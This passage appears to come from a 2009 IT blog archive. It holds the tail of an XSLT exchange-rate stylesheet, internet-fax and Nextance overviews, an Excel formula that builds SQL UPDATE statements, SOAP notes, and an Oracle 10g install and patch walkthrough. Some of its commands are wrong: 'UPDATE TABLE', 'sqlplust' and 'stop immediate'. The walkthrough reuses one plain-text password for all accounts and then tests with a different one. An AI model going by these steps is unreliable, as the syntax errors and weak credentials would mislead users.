<xsl:variable name="country"><xsl:value-of select="ss:Cell[4]/ss:Data/text()"/></xsl:variable>
<item>
<time_stamp><xsl:value-of select="ss:Cell[1]/ss:Data/text()"/></time_stamp>
<rate_type><xsl:value-of select="ss:Cell[2]/ss:Data/text()"/></rate_type>
<data><xsl:value-of select="ss:Cell[3]/ss:Data/text()"/></data>
<country><xsl:value-of select="$country"/></country>
<country_name><xsl:value-of select="ss:Cell[5]/ss:Data/text()"/></country_name>
<code><xsl:value-of select="msxsl:node-set($iso4217_list)/ss:root/ss:item[ss:country/text()=$country][1]/ss:code/text()"/></code>
<multiplier_rate><xsl:value-of select="ss:Cell[6]/ss:Data/text()"/></multiplier_rate>
</item>
</xsl:for-each>
</root>
</xsl:variable>

<xsl:variable name="eLedger_date"><xsl:value-of select="substring(msxsl:node-set($gm_exchange_rate_list)/ss:root/ss:item[2]/ss:time_stamp/text(), 1, 8)"/></xsl:variable>
<xsl:variable name="eLedger_time"><xsl:value-of select="substring(msxsl:node-set($gm_exchange_rate_list)/ss:root/ss:item[2]/ss:time_stamp/text(), 9, 6)"/></xsl:variable>
<xsl:template match="/">HDR<xsl:text>^</xsl:text>4<xsl:text>^</xsl:text>1<xsl:text>^</xsl:text>R<xsl:text>^</xsl:text>1<xsl:text>^</xsl:text>1<xsl:text>^</xsl:text><xsl:value-of select="$eLedger_date"/><xsl:text>^</xsl:text><xsl:value-of select="$eLedger_time"/><xsl:text>^</xsl:text>General Motors<xsl:text>^</xsl:text>E-Ledger<xsl:text> </xsl:text>
<xsl:for-each select="msxsl:node-set($gm_exchange_rate_list)/ss:root/ss:item">
<xsl:variable name="code"><xsl:value-of select="ss:Cell[1]/ss:Data/text()"/></xsl:variable>
<xsl:value-of select="ss:code/text()"/><xsl:text>^</xsl:text><xsl:value-of select="ss:multiplier_rate/text()"/><xsl:text> </xsl:text>
</xsl:for-each>TRL<xsl:text>^</xsl:text><xsl:value-of select="count(msxsl:node-set($gm_exchange_rate_list)/ss:root/ss:item)"/>
</xsl:template>
</xsl:stylesheet>


Process Steps
1 Save "eFXControllerSettlementsMonthlyBalSheet.xls" as "eFXControllerSettlementsMonthlyBalSheet.xml" ][option: xml spreedsheet (*.xml)] in the same folder
2 Save "ersexrate001.tbl" as "ersexrate001.xml" ][option: xml spreedsheet (*.xml)] in the same folder
3 Open EXCEL_VBA.xls from Microsoft Excel (Do not double click the file, use menu Start->Programs->Microsoft Office->Microsoft Office Excel 2007, and then open the file)
4 After ERMS_VBA.xls file is opened, a dialog box displays. Click "Run" button.
5 Message indicates that a new "tbl" file is created in the same directory.
6 Open the newly created tbl file in Microsoft Excel.

Enterprise Application Integration with Internet Fax Service

What is an internet fax?
Internet Fax (also known as e fax, email fax, online fax, and digital fax) utilizes an internet fax service provider to convert a facsimile transmission into a digital file that can be received via email and vice versa. Internet fax services bridge the gap between the older fax technology, which is well established in today's business environment, and email transmission of documents. In the simplest terms, when you sign up with an internet fax service, you will be assigned a dedicated fax phone number that will convert incoming faxes to email attachments that are automatically sent to your email address. The majority of these services also allow you to send attachments (like Word documents, PDF's, or pictures) to physical fax numbers that are received just as if you had sent them using a standard fax machine. Most internet fax services will send you your documents in a number of different file formats, such as TIF or PDF files.

The Need
Enterprise Resource Planning System requires employees to fax in receipts of certain purchased items.
Internet Fax Service is considered because its:
  • Lower Cost
  • More efficient use of time
  • More reliable
  • Environmentally Responsible
  • Security

Tested Internet Fax Service (MetroFax)
MetroFax lets you send and receive faxes via e-mail or by printing to fax from your Microsoft Windows applications. A monthly charge of $12.95 includes up to 1,000 pages of combined inbound or outbound faxes. Also supports Mac and PDAs. (3 cents per additional page.) An additional $2 per month per line gets you a toll-free inbound fax number. (There's also a $9.95 setup fee.) It's easy to add extra fax numbers (with discounts for six or more) allowing each employee to have their own fax number that delivers faxes directly to their e-mail account.

MetroFax Screen Shots

Dashboard provides accesses to frequently used functions


Select “SEND A FAX” to start the fax sending process
1. Add recipients
- Fill in the Fax Number (e.g. 1-866-248-8308)
- Fill in the Name (e.g. ERMS)
- Fill in the Company (e.g. General Motor Corp.)
2. Attach documents
- Click “Browse…” button
- Browse to the file that needs to be faxed over
- Select the file (Note: The first page of the file mast be transmittal page. All receipts can be part of the file, or receipts can have their own files)



3. Cover page options
- Make sure “None” is selected
4. Delivery options
- Click “Send Now” button to deliver the fax

Email Notification
An Email will be sent after the fax is sent successfully.Check sent faxes status:All sent faxes are displayed in list format. Sent pages (page text in PDF format) can be viewed by click (+) Icon.


Cost comparison between different Internet Fax Services:
1. MetroFax.com: $12.95/Month up to 1000 outgoing fax pages

2. GoFaxer.com $24.95/Month up to 1200 fax pages
3. RingCentral.com $24.99/Month up to 1000 outgoing fax pages
4. MaxEmail.com: $7.00/Month up to 250 outgoing fax pages
5. RapidFax.com: $9.95/Month up to 300 outgoing fax pages
6. FaxAge.com: $7.95/Month up to 150 outgoing fax pages
7. MyFax.com: $10/Month up to 100 outgoing fax pages
8. eFax.com: $16.95/Month up to 15 outgoing fax pages

Monday, April 27, 2009

Nextance Contracts Insight (Enterprise Software)


Nextance Contract Insight
consolidates all these dispersed documents into a single centralized repository, putting you on the path to visibility into and control over your contracts within 30 to 45 days—compared to months, if not a year or more, with other implementations typical to the industry.
But more than merely a database, Nextance Contract Insight’s searching and reporting capabilities are first class, so you’re able to quickly pull up the business intelligence you need, and answer those key questions that can determine your company’s present and future success.
Nextance Contract Insight lets you quickly locate terms, obligations, and high-risk language, and to save time, you can save searches you do regularly. For further analysis and manipulation, you can also easily export the results of your searches to a spreadsheet or PDF. Additionally, the
Nextance Contract Insight solution is able to automatically set rules and notifications based on expiration dates, milestones, amendments, terminations, renewals, or other terms—allowing you to proactively make sure the right people know when an important contract event is soon to
occur.
With such deep data at your fingertips, Nextance Contract Insight enables you to proactively manage both supplier performance and your performance to your customers, which impacts the bottom line. You’re able to measure and benchmark performance directly against the
actual contracts, rather than relying on information fed to you that may be incomplete or already outdated. And, critical for auditing and financial reporting, you’re able to monitor whether all parties are in compliance with contract terms as well as with applicable legal regulations, all throughout the entire life of the contract.

XML for Contracts Management
•Variable Data Model
•Extensible Business Application

XML As Data Model For Contracts
•Both structured and unstructured data are inherent in contracts. Searching can span both structured data and language
•The structure of the data can vary greatly from one contract type to another. Reporting can become very complex if not modeled in a consistent manner.
•Nextance XML Architecture enables Customers to manage both structured and unstructured data in the same infrastructure
-Ability to tag the unstructured data
-Ability to model the varied structured data for any type of contract
-Perform integrated search and reporting
-Enforce a common security model
-Flexibility to manage any kind of contract

Searching Structured and Unstructured Data
•Basic Searches
-Search the most common data fields
•Advanced Searches
-Search across all data fields
•Agreement / Document Searches
-Search across all data fields and document text
•Query Builder
-Build and save your own queries
•Repository Search
-Full text search on all attachments

Reporting
•Dashboard
•Export to Excel



Kiosk / Portal


Clause / Template Library


Intelligent Document Assembly


Contract Accountability
•Audit Trails - Workflow
•Audit Trails - Agreement


Contract Compliance
•Commitment Management
•Payments Forecast



Contract Visibility
•Executive Summary

Vendor Service Cost Projection using Excel Macro

Vendor will provide secure data transfer service. The cost is based on the byte size of the files transferred.

ETL Process using Microsoft Excel

ETL project usually involves data cleanup. An architect many times acts as a bridge between Business Analyst and System DBA.

If you are familiar with Design Patterns, to Business Analyst, the architect is like a "Bridge" pattern; to DBA, the architect is like a "Builder" pattern;

Creating Query using Microsoft Excel
Task statements:
Business Analyst has provided (see figure below):
Column A: SchemaName and Table Name
Column B: Field Name
Column C: Type of data (From business point of view, PI is referred to Personal Information)
Column D: Commentys (From business point of view)
Column E: Data Type
Column F: New Value

Business Analyst wants to replace all PI data with the value of '0'. The list is not completed yet, but it will have more than 100 rows.
System DBA asks Architect to provide executable Oracle SQL scripts similar to the text in Column G.



Architect Solution: Use Excel functions to create the command which can be easily copy / paste to each row.

The Command in Column G:
=CONCATENATE("UPDATE TABLE ", REPLACE(INDIRECT(ADDRESS(ROW(), COLUMN()-6)),FIND("_", INDIRECT(ADDRESS(ROW(), COLUMN()-6))), 1,"."), " SET ", INDIRECT(ADDRESS(ROW(), COLUMN()-5)), " = ", INDIRECT(ADDRESS(ROW(), COLUMN()-1)), ";")

Excel Functions:
CONCATENATE()
In Excel, the Concatenate function allows you to join 2 or more strings together.
The syntax for the Concatenate function is:
Concatenate( text1, text2, ... text_n )
There can be up to 30 strings that are joined together.
Applies To:
Excel 2007, Excel 2003, Excel XP, Excel 2000

REPLACE()
In Excel, the Replace function replaces a sequence of characters in a string with another set of characters.
The syntax for the Replace function is:
Replace( old_text, start, number_of_chars, new_text )
old_text is the original string value.
start is the position in old_text to begin replacing characters.
number_of_chars is the number of characters to replace in old_text.
new_text is the replacement set of characters
Applies To:
Excel 2007, Excel 2003, Excel XP, Excel 2000

INDIRECT()
In Excel, the Indirect function returns the reference to a cell based on its string representation.
The syntax for the Indirect function is:
Indirect( string_reference, ref_style )
string_reference is a textual representation of a cell reference.
ref_style is optional. It is either a TRUE or FALSE value. TRUE indicates that string_reference will be interpreted as an A1-style reference. FALSE indicates that string_reference will be interpreted as an R1C1-style reference. If this parameter is omitted, the Indirect function will interpret string_reference as an A1-style.
Applies To:
Excel 2007, Excel 2003, Excel XP, Excel 2000

ADDRESS()
In Excel, the Address function returns a text representation of a cell address.
The syntax for the Address function is:
Address( row, column, ref_type, ref_style, sheet_name )
row is the row number to use in the cell address.
column is the column number to use in the cell address.
ref_type is optional. It is the type of reference to use. It can be any of the following values:
ValueExplanation
1Absolute referencing.For example: $A$1
2Absolute row; relative column.For example: $A1
3Relative row; absolute column.For example: A$1
4Relative referencing.For example: A1

If this parameter is omitted, the Address function assumes that the ref_type is set to 1.
ref_style is optional. It is the reference style to use: either A1 or R1C1. It can be any of the following values:
ValueExplanation
TRUEA1 style referencing
FALSER1C1 style referencing


Explanation
If this parameter is omitted, the Address function assumes that the ref_style is set to TRUE.
sheet_name is optional. It is the name of the sheet to use in the cell address. If this parameter is omitted, then no sheet name is used in the cell address.
Applies To:
Excel 2007, Excel 2003, Excel XP, Excel 2000

ROW()
In Excel, the Row function returns the row number of a cell reference.
The syntax for the Row function is:
Row( reference )
reference is optional. It is a reference to a cell or range of cells.
Note:
If the reference parameter is omitted, then the Row function assumes that the reference is the cell address in which the Row function has been entered in.

For example, the Row function used in the picture above returns 1 because the Row function has been entered in cell A1. Therefore, it assumes the following formula:
=Row(A1)
Applies To:
Excel 2007, Excel 2003, Excel XP, Excel 2000

COLUMN()
In Excel, the Column function returns the column number of a cell reference.
The syntax for the Column function is:
Column( reference )
reference is optional. It is a reference to a cell or range of cells.
Note:
If the reference parameter is omitted, then the Column function assumes that the reference is the cell address in which the Column function has been entered in.
For example, the Column function used in the picture above returns 1 because the Column function has been entered in cell A1. Therefore, it assumes the following formula:
=Column(A1)
Applies To:
Excel 2007, Excel 2003, Excel XP, Excel 2000

FIND()
In Excel, the Find function returns the location of a substring in a string. The search is case-sensitive.
The syntax for the Find function is:
Find( text1, text2, start_position )
text1 is the substring to search for in text2.
text2 is the string to search.
start_position is the position in text2 where the search will start. The first position is 1.
Note:
If the Find function does not find a match, it will return a #VALUE! error.
Applies To:
Excel 2007, Excel 2003, Excel XP, Excel 2000

Friday, April 24, 2009

Using SOAP

Message Framework
•Version 1.1
•Written in XML infoset

Principal features
•A message structure: envelop, body, header(s)
•A mechanism for data representation: data structures in XML (abstract data structure)
•An RPC mechanism: XML form in SOAP msg
•A processing model: rules that SOAP msg dealt with
•A protocol-binding framework: different transport protocols (HTTP etc)
•Extensibility mechanisms: place in header(s)
•An error-handling mechanism: fault messages can transfer error data


Features not supported by SOAP
•Activation: remote server object is activated only when a call to server is made
•Distributed garbage collection: disposal from memory of remote objects when local and remote reference are no longer active
•Message batching: grouping of multiple messages in to a batch and send to message dispatcher (use same TCP packet)
•Objects by reference: object resides on the remote machine

Syntax
•An envelope: entire SOAP message
•Message headers: supplementary information not part of the message itself
•Header entries: supplementary data (such as security or policy settings, extend basic functionality)
•Message body: holds message payload, follows the headers, if there are any
•Message payload: data or instructions in XML need to be passed. Can also be SOAP fault if an error occurs during processing


Message structure (data model)
•Simple-value node: incoming edges
•Compound-value node: outgoing edges
•A named edg is the equivalent of an XML element
























Encoding
•Provides a set of rules that translates a SOAP data model graph into XML code
•Transform grogrammatic entities (objects, arrays, variables, etc) into XML

Message Exchange Pattern (MEP)
•How SOAP message are exchanged between SOAP nodes
•Specifies number of messages inolved, where messages originate, and where they go
•Each SOAP binding must support at least one MEP


MEP type supported (SOAP 1.2)
•Request-Response: both SOAP message
•SOAP Response: requesting node sends an initial non-SOAP message; the responding node replies with a SOAP message. (respond to an HTTP request with a SOAP message)

Communication styles
•RPC: can be synchronous or asynchronous; no easy XML schema validation; data structure depends on structure of the method being called-limits the extent; tighter coupling between message structure and WS implementation code
•Document-style: can be synchronous or async; unencoded XML; XML schema validate; can be extended more easily

Transport bindings
•Infoset should be serialized using XML 1.0 serialization specification
•Bindings also use custom serializations (data compression, security)
•SOAP HTTP binding URI: W3C web site
•Java Message Service: guarantee arrival
•HTTPS: security
•HTTP: support both MEPs; encapsulated in HTTP request/response; SOAP Response MEP uses HTTP GET as request


HTTP
•HTTP binding can use the value held by Web Method (defined by SOAP 1.2) instead of the default POST method
•SOAPAction: custom HTTP header in SOAP 1.1; In SOAP 1.2 is replaced by media type application/soap+xml (can be used in HTTP Content-Type header)


Summary
Specification: processing model, data representation mechanisms, error-handling mechanisms, extensibility mechanisms, protocol-binding framework, RPC mechanism and SOAP-message definition.

Message Structure
•Not used to create application functionality
•But to transmit data or remote procedure calls in a technology-neutral way


Basic Structure
Java Class















Request / Response
















RPC Style SOAP
•Request – method: orderProduct;
•Serialized according encodingStyle
















•Response
•orderCode has return value
•orderTrackingURL is an out parameter (supplementary parameter)














Document-style SOAP
•Unencoded XML in SOAP envelope
•Header to connect the response


















Document-style Response
Header: same reference














Using headers
•Vertical extensibility
•Extend the messaging structure: additional metadata; (relatedto routing, message correiation, security, etc); middleware can define infrastructure headers (transparent to end application)
•Define orthogonal data: separate from, but related to data in body. (use headers to send extra data to accompany non-extensible body elements (useful for recipient application processing the message)


Using <Header>
Must be first child of <Envelope>



















mustUnderstand
•If not, send SOAP fault back



















Using intermediaries
•Horizontally extending SOAP message
Value-added services
•Securing message exchanges: encrypts, digitally signs
•Notarizing messages: make third party record of the interaction. (explicit intermediaries = client is aware when sending a message)
•Tracing messages: find out path followed, time of arrivals and departures and intermeiaries used.

Intermediaries Type
•Forwarding: SOAP node based on the semantics of message headers and forwards it to another node
•Active: performs additional processing not based on message’s semantics (eg. Encrypt a message even though none of the message’s headers specifically request encryption)

<Header> address to Intermediary

Role for next/none/ultimateReceiver intermediary
Relay: mast relay headers targeted

























Processing Model
•Determine the roles that apply to it: scan body & header
•Identifying mandatory headers: mandatory header blocks targeted at the node
•Generating faults, if necessary: if fails to understand, single SOAP fault with thevalue of set to
•Processing mandatory headers:also process nonmandatory SOAP header blocks
•Relaying the message


Fault structure
•Not only indicates error, but also the reason for the failure to the originator of the message


Fault message



Headers for faults
•<NotUnderstood>: response to @mustUnderstand
•Upgrade

Attachments and implementations
•Using SOAP to send binary data
•MTOM (SOAP Message Transmission Optimization Mechanism): how serialization method be used for SOAP over HTTP
•XOP (XML-binary Optimized Packaging): how binary data be serialized as XML
•SOAP Resource Representation Header
•WS-I Attachments Profile 1.0









Wednesday, April 22, 2009

Oracle 10g Database Install and Upgrade (10.2.0.1 to 10.2.0.4)

1. Logon to Windows XP computer
1.1. Logon as a user with “Administrator” privilege
1.2. Verify enough space is available on C drive (2GB at least)

2. Stop Services
2.1. If there is an installed Oracle 10g database, do following steps
2.2. C:\>sqlplust /nolog
2.3. SQL>stop immediate
2.4. Look up Oracle services by using Settings->Control Panel->Administrative Tools->Services
2.5. If there is any Oracle service (usually starting with “Oracle..”) status is still “Started”, Right-mouse click and select “Stop”.
2.6. Go through every active Oracle service and make sure it is stopped without any error.

3. De-install existing Oracle
3.1. If there is an installed Oracle 10g database, do following steps
3.2. Start button->Programs->Oracle-OraDb 10g_home1->Oracle Installation Products->Universal Installer
3.3. Click “Deinstall Product…”
3.4. Select “oraDB10g_home1” check box, this should be the only Oracle product on the server.
3.5. Are you sure? Yes
3.6. After a while, “There are no installed products” dialog box is displayed, Click “Close”
3.7. Welcome dialog box is displayed, click “Cancel”
3.8. Exit confirmation message is displayed, click “Yes”
3.9. Restart the server
3.10. Remove C;\oracle folder
3.11. Restart the server again

4. Install Oracle 10.2.0.1 Enterprise Edition
4.1. Download “10201_database_win32.zip”
4.2. Create a empty folder under C:\> called “Install” (C:\Install)
4.3. Unzip “10201_database_win32.zip” under” “C:\Install” folder
4.4. All files are under C:\>Install\database folder. Click the file“setup.exe” under “C:\>Install\database”
4.5. The ”Select Installation Method” dialog box is displayed, leave the selection to “Basic Installation” (Location:”C:\oracle\product\10.2.0\db_1”, Type:”Enterprise Edition”), remove the “Global Database Name” to blank (initial text is “orcl”), un-check “Create Starter Database” option, Click “Next”
4.6. Wait a moment… “Product-Specific Prerequisite Checks” dialog box is displayed:
4.7. If a warning is related to “Checking Network Configuration requirements…”, it probably because the machine is using DHCP to specified its IP address. Check the “Warning” box and the status is changed to “User Verified”.
4.8. Click “Next” button
4.9. You may encounter a security alert related to “javaw”, click “OK”
4.10. “Summary” dialog box is displayed, look through the list and click “Install”
4.11. “Install” dialog box is displayed and the installation goes through the following list one by one. Wait till all of items are finished:
· Installation Oracle Database 10g 10.2.01.0
- Copying file ****
- Setup ****
- Configuration *****
4.12. “End of Installation” dialog box is displayed, make sure you write down Oracle installed folders, iSQL*Plus URL and iSQL*Plus DBA URL. Click “Exit” button
4.13. Exit confirmation message box is displayed, click “yes”
4.14. Launch command window and type “sqlplus / nolog”
4.15. A “SQL>” prompt should be shown
4.16. Verify windows services, there should be no Oracle service as Windows Service
4.17. Restart the Server
4.18. Still no Oracle service is found (which is correct)
4.19. Make sure no DB instance is running:
a. Launch Command window
b. C:\>sqlplus /nolog
c. SQL>shutdown
d. Error: “ORA-12560: TNS:protocol adapter error”
e. You don’t need to worry about the error. We just verify to make sure that no Oracle service is running

5. Create a default database
5.1. Select: Start Button->Programs->Oracle – OraDB 10g_home1->Configuration and Migration Tools->Database Configuration Assistant
5.2. Welcome dialog is displayed, click “Next”
5.3. Select “Create a Database”, click “Next”
5.4. Select “General Purpose”, click “Next”
5.5. “Global Database Name:” orcl
5.6. “SID:” orcl
5.7. Click “Next”
5.8. Do not change “Management Options”, click “Next”
5.9. Select “Use the Same Password for All Accounts”. “Password:”=”gems1234”; “Confirm Password:”=”gems1234”
5.10. Select “File System”, click “Next”
5.11. Select “Use Common Location for All Database Files”; Use “Browse…” button to set “Database Files Location” to “D:\OACLE\ORADATA”, click “Next”
5.12. On “Recovery Configuration” dialog, click “Next”
5.13. Click “Finish”
5.14. Click “OK”
5.15. “Database Configuration Assistant” is displayed, wait until is finished
5.16. Click “Exit”

6. Create a default listener
6.1. Select: Start Button->Programs->Oracle – OraDB 10g_home1->Configuration and Migration Tools->Net Configuration Assistant
6.2. Select “Listener configuration”, click “Next”
6.3. Select “Add”, click “Next”
6.4. “Listener name:”=”LISTENER” (default), click “Next”
6.5. Keep “Selected Protocols” only “TCP, click “Next”
6.6. Select “Use the standard port number of 1521”, click “Next”
6.7. Select “No”, click “Next”
6.8. Click “Next”
6.9. Click “Finish”
7. Create Service Name
7.1. Select: Start Button->Programs->Oracle – OraDB 10g_home1->Configuration and Migration Tools->Net Manager
7.2. Select “Service Naming”
7.3. Menu “Edit”->”Create…”
7.4. “Net Service Name:”=”orcl”, click “Next”
7.5. Select “TCP/IP (Internet Protocol)”, click “Next”
7.6. “Host Name:”=”{your host}”; “Port Number:”=”1521”, click “Next”
7.7. “Service Name:”=”orcl”, click “Next”
7.8. Click “Finish”
7.9. Close “Oracle Net Manager”
7.10. Click “Save” to save changes

8. Test Database
8.1. Restart Server
8.2. Select: Start Button->Programs->Oracle – OraDB 10g_home1->Application Development->SQL Plus
8.3. “User Name:”=”system”; “Password:”=”changeit’; “Host String:”=”orcl”; click “OK”
8.4. SQL*Plus connects without an error

9. Install Oracle 10.2.0.4 package (p6810189)
9.1. Remove all files under folder C:\Install\
9.2. “Empty Recycle Bin” to gain more space
9.3. Unzip “p6810189_10204_Win32.zip” into C:\Install\ folder
9.4. All files are unzipped under C:\Install\Disk1\ folder
9.5. All following steps are documented in C:\Install\Disk1\patch_note.htm. Same content can be found in C:\Install\README.htm. Refer to Patch_Note.htm (referred as PN) had you have any questions.
9.6. PN 1 passed (Database is 10g release 2 installation, Oracle Database)
9.7. Skip PN 2, PN3, PN4 (because sure to use the right Universal Installer), PN5
9.8. PN 6 Machine is Windows XP Professional (Passed)
9.9. Skip PN7.1, none of item applies
9.10. PN 7.2 – Identify the Oracle Database Installation
a. Launch Oracle “Universal Installer” C:\Install\Disk1\setup.exe
b. “Welcome” dialog box is displayed, click “Installed Products…” button
c. Click “Environment” tab, capture all information there (screenshot will work)
d. Click “Close” button
e. On “Welcome” dialog box, click “Cancel”, then click “Yes” The Universal Installer is closed.
f. Launch Command Window and CD to C:\oracle\product\10.2.0\db_1\Opatch
g. C:\oracle\product\10.2.0\db_1\Opatch>set ORACLE_HOME=C:\oracle\porduct\10.2.0\db_1
h. C:\oracle\product\10.2.0\db_1\Opatch>opatch lsinventory –all
i. Cross-check the result of step g and step h, The information should be same.
9.11. PN 7.3 Skip – We will do post release updates
9.12. PN 7.4 – It is done before
9.13. PN 7.5 Skip – Update Oracle Time Zone Definitions is not necessary per DBA.
9.14. PN 7.6 – Stopping All Services for a Single Instance Installation.
a. Launch ‘Command’ window
b. CD C:\oracle\product\10.2.0\db_1\BIN
c. C:\oracle\product\10.2.0\db_1\BIN>set ORACLE_SID=orcl
d. C:\oracle\product\10.2.0\db_1\BIN>emctl stop dbconsole (or stop windows service: OracleDBConsoleSID)
e. C:\oracle\product\10.2.0\db_1\BIN>isqlplusctl stop (or stop windows service: OracleSIDiSQL*Plus)
f. C:\oracle\product\10.2.0\db_1\BIN>lsnrctl stop (or stop windows service: OracleHOME_NameTNSListenerLISTENER_nodename)
g. C:\oracle\product\10.2.0\db_1\BIN>set ORACLE_HOME= C:\oracle\product\10.2.0\db_1
h. C:\oracle\product\10.2.0\db_1\BIN>sqlplus /nolog
i. SQL>connect / as sysdba
j. SQL> shutdown immediate
k. Click: “Start” button->Settings->Control Panel->Administrative Tools->Services
l. Right mouse click on “OracleServiceORCL”, click “Stop”
9.15. PN 7.7 Skip – No backup is needed
9.16. PN 8.1 – Installing the Oracle Database 10g Patch Set Interactively
a. Click “C:\Install\Disk1\setup.exe” to start Oracle Universal Installer
b. “Welcome” dialog box is displayed, click “Next”
c. In the Specify Home Details screen, make sure the path is “C:\oracle\product\10.2.0\db_1” and click “Next”
d. “Product-Specific Prerequisite Checks” dialog box is displayed, click “Next”
e. “Oracle Configuration Manager Registration” dialog box is displayed, click “Next”
f. “Summary” dialog box is displayed, click “Install”
g. “End of Installation” dialog box is displayed, click “Exit”, then click “Yes” to exit from Oracle Universal Installer
h. Restart Server
9.17. PN 9.1 Skip
9.18. PN 9.2 Skip
9.19. PN 9.3 – upgrading Oracle Database 10g Release 10.23.0.x to 10.2.0.4 (Manually)
a. PN 9.3.2.1 – Run the Pre-Upgrade Information Tool
1. Launch “Command” window
2. C:\oracle\product\10.2.0\db_1\BIN>set ORACLE_SID=orcl
3. C:\oracle\product\10.2.0\db_1\BIN>set ORACLE_HOME= C:\oracle\product\10.2.0\db_1
4. C:\oracle\product\10.2.0\db_1\BIN>sqlplus /nolog
5. SQL>Connect / as sysdba
6. SQL>startup upgrade
7. SQL>SPOOL upgrade_info.log
8. SQL>@ ?/rdbms/admin/utlu102i.sql
9. SQL>SPOOL OFF
b. PN 9.3.2.2 – Upgrading a Release 10.2 Database
1. Launch “Command” window
2. C:\oracle\product\10.2.0\db_1\BIN>set ORACLE_SID=orcl
3. C:\oracle\product\10.2.0\db_1\BIN>set ORACLE_HOME= C:\oracle\product\10.2.0\db_1
4. C:\oracle\product\10.2.0\db_1\BIN>lsnrctl start
5. C:\oracle\product\10.2.0\db_1\BIN>sqlplus /nolog
6. SQL>Connect / as sysdba
7. SQL>shutdown immediate
8. SQL>startup upgrade
9. SQL>SPOOL patch.log
10. SQL>@ ?/rdbms/admin/catupgrd.sql
11. SQL>SPOOL OFF
12. Review the patch.log for errors
13. If necessary, rerun the catupgrd.sql script after correcting any problems
14. SQL>SHUTDOWN IMMEDIATE
15. SQL>startup
16. SQL>@?/rdbms/admin/utlrp.sql
17. SQL>select comp_name, version, status from sys.dba_registry; (all the components should be VALID for a successful upgrade.)
18. SQL>exit
19. Configure and secure Enterprise Manager : C:\oracle\product\10.2.0\db_1\BIN>emca –upgrade db
20. ‘ORACLE_HOME’=’ C:\oracle\product\10.2.0\db_1’
21. ‘Database SID’=’ORCL’
22. ‘Listener port number’=’1521’
23. ‘Do you want to continue ?’=’y’
24. Restart Server
25. Open SQL*Plus and logon
26. Rebuild the listener if you have difficulty to logon
27. Verify the version, now it should be “SQL*Plus: Release 10.2.0.4.0”

10. Install OPatch (p6880880)
10.1. Remove all files under folder C:\Install\
10.2. “Empty Recycle Bin” to gain more space
10.3. Unzip “p6880880_102000_WINNT.zip” into “C:\oracle\” folder
10.4. CD “C:\oracle\OPatch”
10.5. Open README.txt with textpad
10.6. C:\oracle\OPatch>set ORACLE_HOME= C:\oracle\product\10.2.0\db_1
10.7. C:\oracle\OPatch>opatch version
10.8. It displays “OPatch Version: 10.2.0.4.6”

11. Install Critical Patch (p7584866)
11.1. Unzip “p7584866_10204_Win32.zip” into “C:\oracle\ folder”
11.2. CD “C:\install\7584866”
11.3. Open “C:\install\7584866\README.html”
11.4. Section 3.3.2 – Patch Installation Instructions for Single Instance
a. Launch ‘Command’ window
b. CD C:\oracle\product\10.2.0\db_1\BIN
c. C:\oracle\product\10.2.0\db_1\BIN>set ORACLE_SID=orcl
d. C:\oracle\product\10.2.0\db_1\BIN>set ORACLE_HOME= C:\oracle\product\10.2.0\db_1
e. C:\oracle\product\10.2.0\db_1\BIN>emctl stop dbconsole (or stop windows service: OracleDBConsoleSID)
f. C:\oracle\product\10.2.0\db_1\BIN>isqlplusctl stop (or stop windows service: OracleSIDiSQL*Plus)
g. C:\oracle\product\10.2.0\db_1\BIN>lsnrctl stop (or stop windows service: OracleHOME_NameTNSListenerLISTENER_nodename)
h. C:\oracle\product\10.2.0\db_1\BIN>sqlplus /nolog
i. SQL>connect / as sysdba
j. SQL> shutdown immediate
k. SQL>exit
l. Click: “Start” button->Settings->Control Panel->Administrative Tools->Services
m. Right mouse click on “OracleServiceORCL”, click “Stop”
n. C:\oracle\product\10.2.0\db_1\BIN>CD C:\install\7584866
o. C:\install\7584866>opatch apply
p. Give your email ; Password for Oracle support and set ‘none’ for Proxy
q. “Is the local system ready for patching?”, answer “y”
r. Wait until it is finished
s. Inspect the opatch.log file generated in C:\oracle\product\10.2.0\db_1\cfgtoollogs\opatch for any errors
t. If there are errors, refer to README.html, “4 Known Issues”
11.5. Section 3.3.7.1 – Post Installation Instructions
a. Click: “Start” button->Settings->Control Panel->Administrative Tools->Services
b. Right mouse click on “OracleServiceORCL”, click “Start”
c. Right mouse click on “OracleOraDb10g_home1TNSListener”, click “Start”
d. Launch ‘Command’ window
e. CD C:\oracle\product\10.2.0\db_1\BIN
f. C:\oracle\product\10.2.0\db_1\BIN>set ORACLE_SID=orcl
g. C:\oracle\product\10.2.0\db_1\BIN>set ORACLE_HOME= C:\oracle\product\10.2.0\db_1
h. C:\oracle\product\10.2.0\db_1\BIN>sqlplus /nolog
i. SQL>connect / as sysdba
j. SQL>alter system set “_first_spare_parameter“=1 scope=spfile sid=’*’ ;
k. SQL>alter system set event=“10411 trace name context forever, level 1“ scope=spfile sid=’*’;
l. SQL>exit
m. C:\oracle\product\10.2.0\db_1\BIN>CD ..
n. C:\oracle\product\10.2.0\db_1>CD bundle\patch13
o. C:\oracle\product\10.2.0\db_1\Bundle\Patch13>sqlplus /nolog
p. SQL>connect / as sysdba
q. SQL>shutdown immediate
r. SQL>startup
s. SQL>@catcpu.sql
t. SQL>quit
u. Inspect the logfile %ORACLE_HOME%\cfgtoollogs\catbundle\catbundle_WINBUNDLE_ORCL_APPLY_.log for any errors. If there are errors, refer to Section 4 “Known Issues”.
v. SQL>select action_time, action, namespace, version, id, comments from registry$history;
w. The expected patch level in registry$history for this bundle is Patch 13.
x. SQL>quit
11.6. Section 3.3.7.2 – Recompiling Views in the Database
a. Click: “Start” button->Settings->Control Panel->Administrative Tools->Services
b. C:\oracle\product\10.2.0\db_1\BIN>sqlplus /nolog
c. SQL>connect / as sysdba
d. SQL>select * from registry$history where ID=’6452863’ ;
e. If no row is selected, you need to recompile views
f. SQL>quit
g. CD C:\oracle\product\10.2.0\db_1\bundle\view_recompile
h. C:\oracle\product\10.2.0\db_1\bundle\view_recompile>sqlplus /nolog
i. SQL>connect / as sysdba
j. SQL>@recompile_precheck_jan2008cpu.sql
k. Check number of views to be recompiled, follow the step to recompile the views
l. SQL>shutdown immediate
m. SQL>startup upgrade
n. SQL>@view_recompile_jan2008cpu.sql
o. SQL>shutdown immediate
p. SQL>startup
q. SQL>quit
r. Check log file for the error. It is in current directory and is named: vcomp_ORCL_.log
s. Invalid objects are found in the log file, run following steps
t. CD C:\oracle\product\10.2.0\db_1\rdbms\admin
u. C:\oracle\product\10.2.0\db_1\rdbms\admin>sqlplus /nolog
v. SQL>connect / as sysdba
w. SQL>@utlrp.sql
x. Then manually recompile any invalid objets. For example: alter schemaname. compile;
y. SQL>select * from registry$history where ID=’6452863’;
z. The statement should return one row.
aa. SQL>quit
bb. Restart server

